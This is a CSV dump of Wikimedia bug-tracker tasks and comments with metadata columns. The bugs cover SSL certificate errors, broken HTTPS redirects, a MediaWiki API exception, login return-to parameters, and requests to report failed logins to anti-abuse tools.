+That one is NOT used according to the RT ticket.",,,1350679570,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,1,True,,,-45,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+177650,*.mobile.wikipedia.org domains are using invalid SSL certificate,Removing dependency to bug 27946 which is secure.wikimedia.org.,,,1342536947,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,1,True,,,-59,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+177646,*.mobile.wikipedia.org domains are using invalid SSL certificate,*** Bug 38434 has been marked as a duplicate of this bug. ***,,,1342536842,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,1,True,,,-59,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+177642,*.mobile.wikipedia.org domains are using invalid SSL certificate,"Affected domains:
+
+*.mobile.wikipedia.org
+*.m.wiktionary.org (from bug 38434)",,,1342536756,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,1,True,,,-59,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+177635,*.mobile.wikipedia.org domains are using invalid SSL certificate,https://rt.wikimedia.org/Ticket/Display.html?id=3275,,,1342510033,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,1,True,,,-59,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+38055,"""Login required"" page has bad ""Retrieved from""","https://office.wikimedia.org/wiki/A outputs Retrieved from "" http://office.wikimedia.org/wiki/Special:Badtitle "" but I cannot get this Login required page from the given URL. (Instead I get a Bad title error page)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1334718180,1566438952.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,PHID-USER-ilk3nopl66nufkd26tee,False,PHID-TASK-r5i5kg3a3flk53c5nmhb,task_description,invalid,True,c2,1,False,False,False,-71,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+1338478,"""Login required"" page has bad ""Retrieved from""",For me it just retrieves the content of the main page - if this is still an issue please reopen,,,1566438952,,PHID-USER-ilk3nopl66nufkd26tee,False,,,PHID-TASK-r5i5kg3a3flk53c5nmhb,task_subcomment,,True,c2,3,True,,,312,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0
+37797,Showing loginfo for watchlist causes an error,"The query
+
+https://en.wikipedia.org/w/api.php?action=query&list=watchlist&wlprop=loginfo&wllimit=max
+
+shows the following output for me:
+
+<?xml version=""1.0""?>
+<api servedby=""srv265"">
+  <error code=""internal_api_error_MWException"" info=""Exception Caught: Internal error in ApiResult::setIndexedTagName: Bad parameter"" xml:space=""preserve"">
+
+#0 /usr/local/apache/common-local/php-1.19/includes/api/ApiBase.php(1300): wfDebugDieBacktrace('Internal error ...')
+#1 /usr/local/apache/common-local/php-1.19/includes/api/ApiResult.php(197): ApiBase::dieDebug('ApiResult::setI...', 'Bad parameter')
+#2 /usr/local/apache/common-local/php-1.19/includes/api/ApiQueryLogEvents.php(264): ApiResult->setIndexedTagName('???[edit=autoco...', 'param')
+#3 /usr/local/apache/common-local/php-1.19/includes/api/ApiQueryWatchlist.php(306): ApiQueryLogEvents::addLogParams(Object(ApiResult), Array, '???[edit=autoco...', 'protect', 'protect', '20120403012329')
+#4 /usr/local/apache/common-local/php-1.19/includes/api/ApiQueryWatchlist.php(201): ApiQueryWatchlist->extractRowInfo(Object(stdClass))
+#5 /usr/local/apache/common-local/php-1.19/includes/api/ApiQueryWatchlist.php(40): ApiQueryWatchlist->run()
+#6 /usr/local/apache/common-local/php-1.19/includes/api/ApiQuery.php(266): ApiQueryWatchlist->execute()
+#7 /usr/local/apache/common-local/php-1.19/includes/api/ApiMain.php(705): ApiQuery->execute()
+#8 /usr/local/apache/common-local/php-1.19/includes/api/ApiMain.php(360): ApiMain->executeAction()
+#9 /usr/local/apache/common-local/php-1.19/includes/api/ApiMain.php(344): ApiMain->executeActionWithErrorHandling()
+#10 /usr/local/apache/common-local/php-1.19/api.php(117): ApiMain->execute()
+#11 /usr/local/apache/common-local/live-1.5/api.php(3): require('/usr/local/apac...')
+#12 {main}
+
+</error>
+</api>
+
+It seems to happen when a watchlist entry refers to a protection, but not when it's an edit or a move.
+
+I can replicate the error on my local wiki (although without the stack trace) that runs from master. And showing the same protection using list=recentchanges works fine.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1333820040,1334481929.0,PHID-USER-mudnorfjyidux4wazb7q,False,,False,PHID-TASK-7yqseawa7ft3aajkko2a,task_description,resolved,True,c2,1,False,False,True,-73,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,0,0,1,1,0,0,1
+170442,Showing loginfo for watchlist causes an error,"(In reply to comment #2)
+
+You're right, this bug is a duplicate of #35723, which has been fixed.
+
+*** This bug has been marked as a duplicate of bug 35723 ***",,,1334481929,,PHID-USER-mudnorfjyidux4wazb7q,False,,,PHID-TASK-7yqseawa7ft3aajkko2a,task_subcomment,,True,c2,1,False,,,-72,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,1
+170434,Showing loginfo for watchlist causes an error,"**beau** wrote:
+
+Can't reproduce on local installation (git master) or mediawiki.org (1.20wmf1). It seems the issue has been fixed.",,,1334480469,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7yqseawa7ft3aajkko2a,task_subcomment,,True,c2,1,False,,,-72,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+170430,Showing loginfo for watchlist causes an error,"Adding Niklas since, IIRC, he worked on the logging changes.",,,1333998404,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-7yqseawa7ft3aajkko2a,task_subcomment,,True,c2,1,False,,,-73,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+37488,bots.wmflabs.org no https,"Not sure whether this should be part of [[bugzilla:34367]] or not
+
+Anyway the server does not have https:// configured which means that one drops out of login, or cannot use protocol relative links.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1332775080,1373382671.0,PHID-USER-bmenasgfntvftznu6wxs,False,,False,PHID-TASK-xqh7zsqzuhqows65px25,task_description,declined,True,c2,1,False,False,True,-75,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+169412,bots.wmflabs.org no https,bots project is closing...,,,1373382665,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-xqh7zsqzuhqows65px25,task_subcomment,,True,c2,1,True,,,-8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+169404,bots.wmflabs.org no https,"Well, even if it has https, it won't be using a certificate trusted by your browser.
+
+Also, wmflabs is a separate domain from other sites, so login isn't kept anyway.",,,1336072155,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-xqh7zsqzuhqows65px25,task_subcomment,,True,c2,1,False,,,-69,True,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+37313,SSL cert invalid for bugzilla.wikipedia.org redirect,"Various old links to https://bugzilla.wikipedia.org are currently showing an SSL cert error:
+> You attempted to reach bugzilla.wikipedia.org, but instead you
+> actually reached a server identifying itself as *.wikimedia.org.
+> This may be caused by a misconfiguration on the server or by something
+> more serious. An attacker on your network could be trying to get you
+> to visit a fake (and potentially harmful) version of
+> bugzilla.wikipedia.org. You should not proceed.
+
+
+
+Note that https://bugs.mediawiki.org does not show an SSL error
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1332129000,1392239574.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-hfaixmjoyllpokd2rtij,task_description,resolved,True,c2,1,True,False,False,-76,True,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,1,0,1
+168186,SSL cert invalid for bugzilla.wikipedia.org redirect," openssl s_client -connect bugzilla.wikipedia.org:443
+
+...
+subject=/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation, Inc./CN=*.wikipedia.org
+issuer=/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
+...
+
+
+curl bugzilla.wikipedia.org
+
+
+<title>301 Moved Permanently</title>
+
+<p>The document has moved <a href=""https://bugzilla.wikimedia.org/"">here</a>.</p>",,,1392239662,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-hfaixmjoyllpokd2rtij,task_subcomment,,True,c2,3,True,,,24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1
+168180,SSL cert invalid for bugzilla.wikipedia.org redirect,"I claim it's fixed now by:
+
+https://gerrit.wikimedia.org/r/#/c/112930/
+
+ 21:02 mutante: DNS update - switch bz.wp to cluster redirect 
+
+please confirm ?:)",,,1392239574,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-hfaixmjoyllpokd2rtij,task_subcomment,,True,c2,3,True,,,24,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+168174,SSL cert invalid for bugzilla.wikipedia.org redirect,rt #2675,,,1332341813,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-hfaixmjoyllpokd2rtij,task_subcomment,,True,c2,1,False,,,-75,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+168171,SSL cert invalid for bugzilla.wikipedia.org redirect,"(In reply to comment #0)
+> Note that https://bugs.mediawiki.org does not show an SSL error
+
+
+Both https://bugs.mediawiki.org and https://bugzilla.mediawiki.org are redirecting via SSL without SSL errors.",,,1332129114,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hfaixmjoyllpokd2rtij,task_subcomment,,True,c2,1,True,,,-76,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+36914,LoginAuthenticateAudit should be extended to also report access attempts blocked by anti-spam extensions,"**Author:** `carlb613`
+
+**Description:**
+There is a hook [[mw:manual:hook/LoginAuthenticateAudit]] which is currently called with (username, password, status) to report a status of any one of:
+a) user logged in successfully
+b) user supplied a bad password
+c) user requested an e-mail password reset link
+
+This hook is used by [[mw:Extension:Fail2banlog]] to ban (at the server firewall level) IPs which attempt brute-force attacks which repeatedly try to log in with bad passwords.
+
+Unfortunately, it only detects access attempts blocked by core code and then only on login attempts. There are many more attempts to access the wiki in some way (edit, registration, upload...) which are blocked not by core code but by extensions hooked into any or all of the following:
+* edit: ([[mw:Manual:Hooks/EditFilter|EditFilter]], [[mw:Manual:Hooks/EditFilterMerged|EditFilterMerged]], [[mwLManual:Hooks/APIEditBeforeSave|APIEditBeforeSave]])
+* login and registration [[Manual:Hooks/AbortLogin|AbortLogin]], [[Manual:Hooks/AbortNewAccount|AbortNewAccount]]
+* move: [[Manual:Hooks/AbortMove|AbortMove]]
+* upload: [[Manual:Hooks/UploadVerification|UploadVerification]]
+* delete: [[Manual:Hooks/ArticleDelete|ArticleDelete]]
+
+Each of these hooks has some means (such as returning 'false' or setting $error to a non-null string) to reject an edit or other access attempt as spam.
+
+Perhaps [[Manual:Hooks/LoginAuthenticateAudit|LoginAuthenticateAudit]] should have one extra event code added to indicate each of these actions (edit, login, register, move, upload) being rejected by an extension due to abuse.
+
+That way, if [[mw:extension:SpamBlacklist]] were repeatedly rejecting edits due to spam URL's in the message payload, or [[mw:extension:ConfirmEdit]] were reporting repeated wrong answers to CAPTCHAs, [[mw:extension:fail2banlog]] could block the offending IPs once and for all.
+
+--------------------------
+**Version**: 1.20.x
+**Severity**: enhancement
+**URL**: http://www.mediawiki.org/wiki/Thread:Extension_talk:ConfirmEdit/SimpleCaptcha_now_useless#SimpleCaptcha_now_useless_12717
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=41522
+https://bugzilla.wikimedia.org/show_bug.cgi?id=46292",Low,25.0,1330731660,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-gnt5jymhlnib2hjveecv,task_description,open,True,c2,1,False,False,,-78,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+36913,"AbuseFilter should hook LoginAuthenticateAudit, allowing rules to ban IP's who make repeated failed login attempts","**Author:** `carlb613`
+
+**Description:**
+AbuseFilter provides various mechanisms to block or demote a user who repeatedly does something questionable, based on its own ruleset (for instance, repeatedly blanking articles or article sections) but provides no means to create a rule which would perform some action in response to repeated login failures or repeated failures to get spam past an extension (such as ConfirmEdit or SpamBlacklist).
+
+While we don't currently have a mechanism to notify AbuseFilter that a user is repeatedly falling CAPTCHA (short of changing code elsewhere in the system) we do have LoginAuthenticateAudit to report failed attempts to log in with repeated bad passwords. Unfortunately, the only extensions to use this info are either Fail2Ban (which firewalls the offending IP at the server level) or other CAPTCHAs (to present a CAPTCHA on subsequent login attempts if previous brute-force attempts have failed). There is nowhere where AbuseFilter requests to be notified on LoginAuthenticateAudit failures and no means to create a rule in the AbuseFilter to block an IP after an abusive number of failed login attempts.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: http://www.mediawiki.org/wiki/Thread:Extension_talk:ConfirmEdit/SimpleCaptcha_now_useless#SimpleCaptcha_now_useless_12717",Low,25.0,1330730760,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-fyok7yjjtohiiodp2rwf,task_description,open,True,c2,1,False,False,,-78,True,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,1,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+1405112,"AbuseFilter should hook LoginAuthenticateAudit, allowing rules to ban IP's who make repeated failed login attempts",Maybe as part of {T234155}?,,,1575519809,,PHID-USER-ilk3nopl66nufkd26tee,False,,,PHID-TASK-fyok7yjjtohiiodp2rwf,task_subcomment,,True,c2,3,True,,,327,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+36521,The ReturnTo query parameter of Special:UserLogin skips array-valued parameters,"**Author:** `it_is_me_here`
+
+**Description:**
+See https://en.wikipedia.org/wiki/User_talk:Anomie#User_script. If you aren't logged in on a particular browser, then you paste in a Wikimedia URL that is only accessible to Admins/whatever and that includes doing an action (e.g. deleting) on multiple items (log entries, old versions of pages, etc.), and then you log in and click ""return to X"", you get an error message. An example of such a URL is https://en.wikipedia.org/w/index.php?title=Wikipedia%3ASandbox&action=historysubmit&revisiondelete=1&diff=477738682&ids%5B477738682%5D=1&oldid=477736475&ids%5B477736475%5D=1&ids%5B477734577%5D=1. The error message you get when trying to return to the page is:
+
+""Invalid target revision: You have either not specified a target revision(s) to perform this function, the specified revision does not exist, or you are attempting to hide the current revision. 
+Return to Main Page.""
+
+If you are already logged in, pasting in the URL works fine.
+
+--------------------------
+**Version**: 1.19
+**Severity**: normal",Low,25.0,1329675300,1331335711.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-m6kcpxbvynq353oa4suw,task_description,resolved,True,c2,1,False,False,True,-80,True,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+166677,The ReturnTo query parameter of Special:UserLogin skips array-valued parameters,"Benny investigated this bug and tracked it down to a bug in WebRequest::getValues(). This function claims not to apply any transformations to its input, but that's a lie, it calls getVal() which strips out arrays.
+
+Fixed in r113545.",,,1331335711,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-m6kcpxbvynq353oa4suw,task_subcomment,,True,c2,1,False,,,-77,True,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+166672,The ReturnTo query parameter of Special:UserLogin skips array-valued parameters,"**it_is_me_here** wrote:
+
+I've now found another example of this. If you are editing the section of a page whilst logged out (e.g. [https://en.wikipedia.org/w/index.php?title=Kentucky_Constitution&action=edit&section=2]), click the ""logged in"" link from [https://en.wikipedia.org/wiki/MediaWiki:Anoneditwarning], then the URL you are led to is [https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Kentucky_Constitution&returntoquery=action%3Dedit] and, sure enough, you will be taken back, upon logging in, to [https://en.wikipedia.org/w/index.php?title=Kentucky_Constitution&action=edit] (i.e. without the section-edit bit).",,,1331209078,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-m6kcpxbvynq353oa4suw,task_subcomment,,True,c2,1,False,,,-77,True,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+36160,Mingle HTTP to HTTPS redirect is broken,"Try the example URL (found on https://blog.wikimedia.org/2012/01/31/getting-ready-for-when-the-freeze-is-done/ ): it's converted to mingle.corp.wikimedia.orgprojects which obviously doesn't work: Error 105 (net::ERR_NAME_NOT_RESOLVED. The same URL with https works.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**URL**: http://mingle.corp.wikimedia.org/projects/internationalization/cards/grid?color_by=type&filters[]=[Type][is][Story]&filters[]=[Sprint][is][%28Current+Sprint%29]&group_by=status&lanes=Ready+for+Analysis%2CIn+Analysis%2CReady+for+Development%2CIn+Development%2CReady+for+Testing%2CIn+Testing%2CReady+for+Signoff%2CAccepted&tab=Sprint+Backlog",Low,25.0,1328189400,1340918392.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-s45yax63nu33h47hvbso,task_description,resolved,True,c2,1,True,False,True,-82,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+162996,Mingle HTTP to HTTPS redirect is broken,"sorry for the long delay on this, I'm not sure what happened but it looks like it was done at the odd time while I transitioned to my new position and no one poked me. This has now been fixed and so should work for everyone (it also generally works fo anonymous without guest/guest as well).",,,1340918392,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-s45yax63nu33h47hvbso,task_subcomment,,True,c2,1,False,,,-61,True,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0
+162991,Mingle HTTP to HTTPS redirect is broken,"(In reply to comment #3)
+> yes, a broken redirect, but even it it worked it still asks for a login. So not
+> really public but linked on the public blog? 
+
+Everyone can use the ""guest, guest"" credentials, which are highly advertised.",,,1328198810,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-s45yax63nu33h47hvbso,task_subcomment,,True,c2,1,True,,,-82,True,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,1,0,0,0,0,1
+162986,Mingle HTTP to HTTPS redirect is broken,"yes, a broken redirect, but even it it worked it still asks for a login. So not
+really public but linked on the public blog? The redirect problem on
+mingle.corp would be an Office IT ticket afaik.",,,1328198629,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-s45yax63nu33h47hvbso,task_subcomment,,True,c2,1,True,,,-82,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+162981,Mingle HTTP to HTTPS redirect is broken,"http://mingle.corp.wikimedia.org/projects/
+Redirects you to:
+https://mingle.corp.wikimedia.orgprojects/
+
+so the rewrite rule is wrong somewhere",,,1328193778,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-s45yax63nu33h47hvbso,task_subcomment,,True,c2,1,True,,,-82,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+162977,Mingle HTTP to HTTPS redirect is broken,URL: http://mingle.corp.wikimedia.org/,,,1328193700,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-s45yax63nu33h47hvbso,task_subcomment,,True,c2,1,True,,,-82,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+36151,Turn wfHttpError() into a wrapper for HttpError exception,"Global function wfHttpError() is only used in core by AjaxDispatcher. It should be deprecated and callers should use the HttpError exception instead.
+
+--------------------------
+**Version**: 1.20.x
